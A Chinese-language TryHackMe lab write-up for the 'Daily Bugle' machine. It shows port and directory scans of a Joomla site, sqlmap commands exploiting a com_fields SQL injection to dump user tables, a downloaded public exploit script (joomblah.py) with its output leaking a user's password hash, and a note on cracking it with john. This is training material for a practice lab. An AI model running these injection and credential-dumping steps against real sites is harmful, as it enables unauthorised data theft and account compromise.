网络安全 TryHackMe WriteUp Offensive Pentesting Advanced Exploitation

【THM】Daily Bugle-Practice

hihopkc2024-01-262024-01-26

Obtain user and root

1 2	┌──(root㉿kali)-[~] └─# nmap -p- -sC -sV -T4 10.10.205.185

Nmap scan report for 10.10.205.185                                              
Host is up (0.19s latency).                                                     
Not shown: 65532 closed tcp ports (reset)                                       
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey: 
|   2048 68:ed:7b:19:7f:ed:14:e6:18:98:6d:c5:88:30:aa:e9 (RSA)
|   256 5c:d6:82:da:b2:19:e3:37:99:fb:96:82:08:70:ee:9d (ECDSA)
|_  256 d2:a9:75:cf:2f:1e:f5:44:4f:0b:13:c2:0f:d7:37:cc (ED25519)
80/tcp   open  http    Apache httpd 2.4.6 ((CentOS) PHP/5.6.40)
|_http-title: Home
| http-robots.txt: 15 disallowed entries  
| /joomla/administrator/ /administrator/ /bin/ /cache/ 
| /cli/ /components/ /includes/ /installation/ /language/ 
|_/layouts/ /libraries/ /logs/ /modules/ /plugins/ /tmp/
|_http-generator: Joomla! - Open Source Content Management
|_http-server-header: Apache/2.4.6 (CentOS) PHP/5.6.40
3306/tcp open  mysql   MariaDB (unauthorized)

由扫描结果得知：目标站点使用的CMS应该是Joomla CMS，并且还开启了mysql服务

使用gobuster扫描目录

1
2
3

┌──(root㉿kali)-[~]                                                             
└─# gobuster dir --url http://10.10.205.185/  -w /usr/share/wordlists/dirbuster/
directory-list-2.3-medium.txt --no-error

或者访问/robots.txt

使用joomscan针对目标站点进行扫描，joomscan是一个专门用于扫描Joomla CMS的工具。

1 2	joomscan -u http://10.10.205.185 #此处ip为目标ip #也可以通过浏览器在线快速获取Joomla CMS的版本信息：直接访问10.10.205.185/language/en-GB/en-GB.xml即可。

https://www.exploit-db.com/exploits/42033

可以看到有sql漏洞

1	sqlmap -u "http://10.10.205.185/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]

1	sqlmap -u "http://10.10.205.185/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering] --tables -D joomla

sqlmap -u "http://10.10.205.185/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering] --columns -D joomla -T '#__users'

1
2

sqlmap -u "http://10.10.205.185/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering] -C username -D joomla -T '#__users' --dump
sqlmap -u "http://10.10.205.185/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering] -C password -D joomla -T '#__users' --dump

sqlmap太慢了

用另一个脚本

1 2	wget https://raw.githubusercontent.com/XiphosResearch/exploits/master/Joomblah/joomblah.py python2 joomblah.py http://10.10.205.185

[-] Fetching CSRF token
[-] Testing SQLi
 -  Found table: fb9j5_users
 -  Extracting users from fb9j5_users
[$] Found user ['811', 'Super User', 'jonah', 'jonah@tryhackme.com', '$2y$10$0veO/JSFh4389Lluc4Xya.dfy2MF.bZhz0jVMw.V.d3p12kBtZutm', '', '']
 -  Extracting sessions from fb9j5_session

查询上述hash值的加密方式（ https://hashcat.net/wiki/doku.php?id=example_hashes ）并使用john工具进行hash破解（需要提前将hash值保存为txt文件）